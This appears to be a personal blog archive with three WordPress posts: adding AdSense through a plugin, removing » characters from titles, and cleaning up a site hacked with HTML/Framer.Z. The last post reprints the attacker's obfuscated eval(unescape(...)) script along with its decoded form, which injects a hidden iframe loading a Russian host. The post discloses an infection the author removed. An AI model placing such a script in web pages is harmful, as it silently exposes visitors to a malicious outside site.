Archive for the 'WordPress' Category

Adding AdSense to a WordPress Blog

Sunday, December 13th, 2009

adsense_logo

I relented and added Google AdSense ads to my personal WordPress blog. Finally chose to convert some of the traffic to a little $ cash. I’ve been using it on two of my other sites and have been pleased with its performance. I was trying to avoid commercializing and spamacizing my blog, but oh well.

It was fairly easy to install in WordPress. The configuration, however, takes a bit more time.

I downloaded the AdSense Manager plugin for WordPress, then uploaded the folder to the plugins folder. In the ‘plugins’ tab, activated the plugin, then went to Settings > AdSense Manager to configure it. It involved copying the code I got from Google’s AdSense page and pasting it in my WordPress AdSense Manager config page.

I had thought it would then magically start displaying ads, but it really takes more work. You can manually type [ ad ] (without spaces) at the bottom of each post and it will show an ad, if you have the size configured properly where it fits in your WordPress theme. I had previously sized it too large 768×60 or something, where it didn’t fit in the column of the template and didn’t display, so that’s something to be aware of.

Instead of typing the ad tag at the bottom of each post, it’s better to add it to the template. I had thought the footer would be the right choice, but it doesn’t display the ads correctly. Easier is to add to the bottom of the Main Index Template. Go to Appearance > Editor, then select Main Index Template index.php on the right side of the screen. Then mid way in the code enter:

<?php adsensem_ad(); ?>

I placed it between <?php wp_link_pages(); ?> and a div tag </div>, but this probably varies based on your theme. Just stick it in somewhere and do a preview to see how it looks.

Keep in mind these instructions don’t apply for older versions of WordPress. The admin interface was significantly changed in the last year or so.

If you don’t already have an AdSense account, it will take a few more steps to get running. The layout of the ads aren’t 100% to my liking, but it will do for now.

Remove the Arrows » from WordPress Titles (»)

Tuesday, January 6th, 2009

WordPress is a great blogging platform, but it has a bothersome issue of adding the double arrow symbol » before the titles of postings on some templates. The arrow >> is usually used as a special bullet character and the escaped html code is » or 00BB 0020 in hex code.

How to remove the » character from titles:

1. Edit the header.php file of your theme. It can be
found at: wp-content > themes > [YOUR CHOSEN THEME] > header.php

2. Copy this new code:

<title><?php wp_title(’ ‘); if(wp_title(’ ‘, false)) { ?> | <?php } bloginfo(’name’); ?></title>

3. Find the <title> tags in your header.php document (near the top- approx line 7). Select everything between <title> and </title> and paste to replace it with the new code.

After updating, your category pages, archives, tags, and home page should all show the correct title without the ».

Additionally, if you wish to remove the » from the sidebar categories and archives, you may edit the ’style.css’ file in your theme’s folder, then find and remove the following code:

.entry ul li:before, #sidebar ul ul li:before {
content: "\00BB \0020";
}

HTML/Framer.Z Virus in WordPress

Saturday, June 28th, 2008

Woohoo! I just love it when someone hacks my website and installs a virus. Here’s a nice little flag that AVG gave me:

Framer.Z Virus in WordPress

Fortunately, an upgrade from WordPress 2.2 to 2.5 and a little cleanup of the html on the homepage did the trick. This is what some hacker installed on my root index.htm file (commented just in case):

<!– <script>eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%34%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%74%72%61%66%66%75%72%6c%2e%72%75%2f%73%6c%69%76%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%32%37%35%34%37%31%29%2b%27%38%30%35%34%61%38%65%32%65%5c%27%20%77%69%64%74%68%3d%36%36%37%20%68%65%69%67%68%74%3d%34%31%33%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29")); </script> –>

And when this code is ‘unescaped’ it translates into:

<!– ("window.status=’Done’;document.write(’<iframe name=4 src=\’http://traffurl.ru/sliv?’+Math.round(Math.random()*275471)+’8054a8e2e\’ width=667 height=413 style=\’display: none\’></iframe>’) –>

I did a whois search on this Russian domain, but didn’t find any results. Thank you hackers for showing the love.